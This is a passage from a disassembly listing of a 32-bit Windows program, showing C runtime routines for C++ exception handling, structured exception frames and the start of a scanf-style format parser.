		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_423180
		add	esp, 4
		retn
; ---------------------------------------------------------------------------


loc_4230DB:				; DATA XREF: .data:004351DCo
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		push	0FFFFFFFFh
		mov	[ebp+var_30], 0
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_419132
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_42316E
; ---------------------------------------------------------------------------


loc_4230FF:				; CODE XREF: sub_423030+9Cj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42310D
		jmp	short loc_42316B
sub_423030	endp


; =============== S U B	R O U T	I N E =======================================



sub_42310D	proc near		; CODE XREF: sub_423030+D6p
					; DATA XREF: .data:004351D0o
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp-28h]
		mov	[eax-4], ecx
		call	sub_421920
		mov	edx, [ebp-1Ch]
		mov	[eax+6Ch], edx
		call	sub_421920
		mov	ecx, [ebp-20h]
		mov	[eax+70h], ecx
		mov	edx, [ebp+8]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short locret_42316A
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+10h], 3
		jnz	short locret_42316A
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short locret_42316A
		cmp	dword ptr [ebp-24h], 0
		jnz	short locret_42316A
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_42316A
		call	sub_41919A
		push	eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_423450
		add	esp, 8

locret_42316A:				; CODE XREF: sub_42310D+28j
					; sub_42310D+31j ...
		retn
sub_42310D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423030


loc_42316B:				; CODE XREF: sub_423030+DBj
		mov	eax, [ebp+var_2C]


loc_42316E:				; CODE XREF: sub_423030+CDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423030
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423180	proc near		; CODE XREF: sub_423030+A2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_4231BC
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4231BC
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_4231BC
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_4231BC
		mov	eax, 1
		jmp	short loc_4231BE
; ---------------------------------------------------------------------------


loc_4231BC:				; CODE XREF: sub_423180+15j
					; sub_423180+1Ej ...
		xor	eax, eax


loc_4231BE:				; CODE XREF: sub_423180+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_423180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4231D0	proc near		; CODE XREF: sub_422F70+22p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4351E0
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_423216
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jz	short loc_423216
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42321B


loc_423216:				; CODE XREF: sub_4231D0+2Dj
					; sub_4231D0+3Bj
		jmp	loc_42343A
; ---------------------------------------------------------------------------


loc_42321B:				; CODE XREF: sub_4231D0+44j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+arg_4]
		lea	edx, [ecx+eax+0Ch]
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_423296
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42A590
		add	esp, 8
		test	eax, eax
		jz	short loc_42328C
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_42A5C0
		add	esp, 8
		test	eax, eax
		jz	short loc_42328C
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		mov	[edx], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		push	ecx
		call	sub_4234E0
		add	esp, 8
		mov	edx, [ebp+var_1C]
		mov	[edx], eax
		jmp	short loc_423291
; ---------------------------------------------------------------------------


loc_42328C:				; CODE XREF: sub_4231D0+81j
					; sub_4231D0+93j
		call	sub_423630


loc_423291:				; CODE XREF: sub_4231D0+BAj
		jmp	loc_423423
; ---------------------------------------------------------------------------


loc_423296:				; CODE XREF: sub_4231D0+6Cj
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42331A
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_42A590
		add	esp, 8
		test	eax, eax
		jz	short loc_423310
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_42A5C0
		add	esp, 8
		test	eax, eax
		jz	short loc_423310
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_419A90
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+14h], 4
		jnz	short loc_42330E
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx], 0
		jz	short loc_42330E
		mov	eax, [ebp+arg_C]
		add	eax, 8
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		push	edx
		call	sub_4234E0
		add	esp, 8
		mov	ecx, [ebp+var_1C]
		mov	[ecx], eax


loc_42330E:				; CODE XREF: sub_4231D0+11Aj
					; sub_4231D0+122j
		jmp	short loc_423315
; ---------------------------------------------------------------------------


loc_423310:				; CODE XREF: sub_4231D0+E5j
					; sub_4231D0+F7j
		call	sub_423630


loc_423315:				; CODE XREF: sub_4231D0:loc_42330Ej
		jmp	loc_423423
; ---------------------------------------------------------------------------


loc_42331A:				; CODE XREF: sub_4231D0+D0j
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_423380
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42A590
		add	esp, 8
		test	eax, eax
		jz	short loc_423376
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_42A5C0
		add	esp, 8
		test	eax, eax
		jz	short loc_423376
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_4234E0
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_419A90
		add	esp, 0Ch
		jmp	short loc_42337B
; ---------------------------------------------------------------------------


loc_423376:				; CODE XREF: sub_4231D0+166j
					; sub_4231D0+178j
		call	sub_423630


loc_42337B:				; CODE XREF: sub_4231D0+1A4j
		jmp	loc_423423
; ---------------------------------------------------------------------------


loc_423380:				; CODE XREF: sub_4231D0+151j
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42A590
		add	esp, 8
		test	eax, eax
		jz	loc_42341E
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_42A5C0
		add	esp, 8
		test	eax, eax
		jz	short loc_42341E
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42A5F0
		add	esp, 4
		test	eax, eax
		jz	short loc_42341E
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_4233F5
		push	1
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_4234E0
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_418D70
		jmp	short loc_42341C
; ---------------------------------------------------------------------------


loc_4233F5:				; CODE XREF: sub_4231D0+1F8j
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_4234E0
		add	esp, 8
		push	eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_418D60


loc_42341C:				; CODE XREF: sub_4231D0+223j
		jmp	short loc_423423
; ---------------------------------------------------------------------------


loc_42341E:				; CODE XREF: sub_4231D0+1C3j
					; sub_4231D0+1D9j ...
		call	sub_423630


loc_423423:				; CODE XREF: sub_4231D0:loc_423291j
					; sub_4231D0:loc_423315j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42343A
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_423580


loc_42343A:				; CODE XREF: sub_4231D0:loc_423216j
					; sub_4231D0+25Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4231D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423450	proc near		; CODE XREF: sub_4229C0+252p
					; sub_42310D+55p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4351F0
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	[ebp+arg_0], 0
		jz	short loc_4234C5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_4234C5
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	sub_418D50
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4234C5
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	sub_423580


loc_4234C5:				; CODE XREF: sub_423450+2Aj
					; sub_423450+36j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234E0	proc near		; CODE XREF: sub_4231D0+ADp
					; sub_4231D0+131p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jl	short loc_42351F
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		mov	ecx, [ebp+var_4]
		add	ecx, [eax+edx]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, [edx+4]
		mov	[ebp+var_4], eax


loc_42351F:				; CODE XREF: sub_4234E0+16j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4234E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423530	proc near		; CODE XREF: sub_418E50+4Dp
					; sub_422E40+8Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_4191BD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42356F
		mov	ecx, 2


loc_42356F:				; CODE XREF: sub_423530+38j
		push	ecx
		call	sub_4191BD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_423530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423580	proc near		; CODE XREF: sub_4229C0:loc_422C53p
					; sub_422F40:loc_422F61p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004235F4 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_435200
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		call	sub_421920
		cmp	dword ptr [eax+60h], 0
		jz	short loc_4235E0
		mov	[ebp+var_4], 1
		call	sub_421920
		call	dword ptr [eax+60h]
		mov	[ebp+var_4], 0
		jmp	short loc_4235E0
; ---------------------------------------------------------------------------


loc_4235D0:				; DATA XREF: .data:00435210o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4235D6:				; DATA XREF: .data:00435214o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_4235E0:				; CODE XREF: sub_423580+36j
					; sub_423580+4Ej
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4235EE
		jmp	short loc_4235F4
sub_423580	endp


; =============== S U B	R O U T	I N E =======================================



sub_4235EE	proc near		; CODE XREF: sub_423580+67p
					; DATA XREF: .data:00435208o
		call	sub_42A620
		retn
sub_4235EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423580


loc_4235F4:				; CODE XREF: sub_423580+6Cj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423580
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_421920
		cmp	dword ptr [eax+64h], 0
		jz	short loc_423626
		call	sub_421920
		call	dword ptr [eax+64h]


loc_423626:				; CODE XREF: .data:0042361Cj
		call	sub_423580
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423630	proc near		; CODE XREF: sub_419060+23p
					; sub_419060:loc_4190CDp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004236A0 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_435218
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		cmp	off_447710, 0
		jz	short loc_42368C
		mov	[ebp+var_4], 1
		call	off_447710
		mov	[ebp+var_4], 0
		jmp	short loc_42368C
; ---------------------------------------------------------------------------


loc_42367C:				; DATA XREF: .data:00435228o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_423682:				; DATA XREF: .data:0043522Co
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_42368C:				; CODE XREF: sub_423630+34j
					; sub_423630+4Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42369A
		jmp	short loc_4236A0
sub_423630	endp


; =============== S U B	R O U T	I N E =======================================



sub_42369A	proc near		; CODE XREF: sub_423630+63p
					; DATA XREF: .data:00435220o
		call	sub_423580
		retn
sub_42369A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423630


loc_4236A0:				; CODE XREF: sub_423630+68j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423630
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4236C0	proc near		; CODE XREF: sub_419670+A2p

var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= byte ptr -1F0h
var_1EF		= byte ptr -1EFh
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= byte ptr -1D0h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_55		= byte ptr -55h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 224h
		push	ebx
		push	esi
		push	edi


loc_4236CC:				; CODE XREF: sub_4236C0+37j
		cmp	[ebp+arg_4], 0
		jnz	short loc_4236F3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	109h
		push	offset dword_435230
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4236F3
		int	3		; Trap to Debugger


loc_4236F3:				; CODE XREF: sub_4236C0+10j
					; sub_4236C0+30j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4236CC


loc_4236F9:				; CODE XREF: sub_4236C0+64j
		cmp	[ebp+arg_0], 0
		jnz	short loc_423720
		push	offset dword_43449C
		push	0
		push	10Ch
		push	offset dword_435230
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_423720
		int	3		; Trap to Debugger


loc_423720:				; CODE XREF: sub_4236C0+3Dj
					; sub_4236C0+5Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4236F9
		mov	[ebp+var_28], 0
		movsx	edx, [ebp+var_28]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		mov	[ebp+var_34], eax


loc_423737:				; CODE XREF: sub_4236C0:loc_4249A5j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	loc_4249AA
		cmp	dword_447480, 1
		jle	short loc_423769
		push	8
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_1F8], eax
		jmp	short loc_423785
; ---------------------------------------------------------------------------


loc_423769:				; CODE XREF: sub_4236C0+8Dj
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_1F8], edx


loc_423785:				; CODE XREF: sub_4236C0+A7j
		cmp	[ebp+var_1F8], 0
		jz	short loc_4237D3
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_424B80
		add	esp, 8
		push	eax
		call	sub_424B60
		add	esp, 8


loc_4237B4:				; CODE XREF: sub_4236C0+111j
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_42A980
		add	esp, 4
		test	eax, eax
		jz	short loc_4237D3
		jmp	short loc_4237B4
; ---------------------------------------------------------------------------


loc_4237D3:				; CODE XREF: sub_4236C0+CCj
					; sub_4236C0+10Fj
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	loc_42488E
		mov	[ebp+var_40], 0
		mov	byte ptr [ebp+var_8], 0
		mov	[ebp+var_6C], 0
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_1E8], eax
		mov	ecx, [ebp+var_1E8]
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_10], 0
		mov	dl, [ebp+var_10]
		mov	[ebp+var_68], dl
		mov	al, [ebp+var_68]
		mov	[ebp+var_70], al
		mov	cl, [ebp+var_70]
		mov	[ebp+var_18], cl
		mov	dl, [ebp+var_18]
		mov	[ebp+var_64], dl
		mov	[ebp+var_14], 0
		mov	[ebp+var_38], 1
		mov	[ebp+var_1DC], 0


loc_423835:				; CODE XREF: sub_4236C0:loc_42398Dj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_423992
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_C], eax
		cmp	dword_447480, 1
		jle	short loc_423879
		push	4
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_1FC], eax
		jmp	short loc_423896
; ---------------------------------------------------------------------------


loc_423879:				; CODE XREF: sub_4236C0+19Bj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_1FC], ecx


loc_423896:				; CODE XREF: sub_4236C0+1B7j
		cmp	[ebp+var_1FC], 0
		jz	short loc_4238C6
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		lea	edx, [ecx+eax*4]
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+edx*2-30h]
		mov	[ebp+var_1C], ecx
		jmp	loc_42398D
; ---------------------------------------------------------------------------


loc_4238C6:				; CODE XREF: sub_4236C0+1DDj
		mov	edx, [ebp+var_C]
		mov	[ebp+var_200], edx
		mov	eax, [ebp+var_200]
		sub	eax, 2Ah
		mov	[ebp+var_200], eax
		cmp	[ebp+var_200], 4Dh
		ja	loc_423985
		mov	edx, [ebp+var_200]
		xor	ecx, ecx
		mov	cl, byte_424A08[edx]
		jmp	off_4249E8[ecx*4]


loc_423900:				; DATA XREF: .data:004249ECo
		jmp	loc_42398D
; ---------------------------------------------------------------------------


loc_423905:				; CODE XREF: sub_4236C0+239j
					; DATA XREF: .data:004249F8o
		mov	al, [ebp+var_38]
		sub	al, 1
		mov	[ebp+var_38], al
		mov	cl, [ebp+var_14]
		sub	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_42398D
; ---------------------------------------------------------------------------


loc_423918:				; CODE XREF: sub_4236C0+239j
					; DATA XREF: .data:004249F0o
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	eax, 36h
		jnz	short loc_42395A
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+2]
		cmp	edx, 34h
		jnz	short loc_42395A
		mov	eax, [ebp+arg_4]
		add	eax, 2
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+var_1DC]
		add	ecx, 1
		mov	[ebp+var_1DC], ecx
		mov	[ebp+var_30], 0
		mov	[ebp+var_2C], 0
		jmp	short loc_42398D
; ---------------------------------------------------------------------------


loc_42395A:				; CODE XREF: sub_4236C0+263j
					; sub_4236C0+270j
		jmp	short loc_423985
; ---------------------------------------------------------------------------


loc_42395C:				; CODE XREF: sub_4236C0+239j
					; DATA XREF: .data:004249F4o
		mov	dl, [ebp+var_38]
		add	dl, 1
		mov	[ebp+var_38], dl
		jmp	short loc_42398D
; ---------------------------------------------------------------------------


loc_423967:				; CODE XREF: sub_4236C0+239j
					; DATA XREF: .data:004249FCo
		mov	al, [ebp+var_38]
		add	al, 1
		mov	[ebp+var_38], al


loc_42396F:				; CODE XREF: sub_4236C0+239j
					; DATA XREF: .data:00424A00o
		mov	cl, [ebp+var_14]
		add	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_42398D
; ---------------------------------------------------------------------------


loc_42397A:				; CODE XREF: sub_4236C0+239j
					; DATA XREF: .data:off_4249E8o
		mov	dl, [ebp+var_70]
		add	dl, 1
		mov	[ebp+var_70], dl
		jmp	short loc_42398D
; ---------------------------------------------------------------------------


loc_423985:				; CODE XREF: sub_4236C0+225j
					; sub_4236C0+239j ...
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_42398D:				; CODE XREF: sub_4236C0+201j
					; sub_4236C0:loc_423900j ...
		jmp	loc_423835
; ---------------------------------------------------------------------------


loc_423992:				; CODE XREF: sub_4236C0+17Bj
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_4239B5
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1D4], edx
		mov	eax, [ebp+arg_8]
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx-4]
		mov	[ebp+var_3C], edx


loc_4239B5:				; CODE XREF: sub_4236C0+2D8j
		mov	[ebp+var_18], 0
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_4239EC
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 53h
		jz	short loc_4239D9
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	ecx, 43h
		jnz	short loc_4239E4


loc_4239D9:				; CODE XREF: sub_4236C0+30Bj
		mov	dl, [ebp+var_14]
		add	dl, 1
		mov	[ebp+var_14], dl
		jmp	short loc_4239EC
; ---------------------------------------------------------------------------


loc_4239E4:				; CODE XREF: sub_4236C0+317j
		mov	al, [ebp+var_14]
		sub	al, 1
		mov	[ebp+var_14], al


loc_4239EC:				; CODE XREF: sub_4236C0+2FFj
					; sub_4236C0+322j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		or	edx, 20h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 6Eh
		jz	short loc_423A3E
		cmp	[ebp+var_C], 63h
		jz	short loc_423A23
		cmp	[ebp+var_C], 7Bh
		jz	short loc_423A23
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		call	sub_424B80
		add	esp, 8
		mov	[ebp+var_1D8], eax
		jmp	short loc_423A3E
; ---------------------------------------------------------------------------


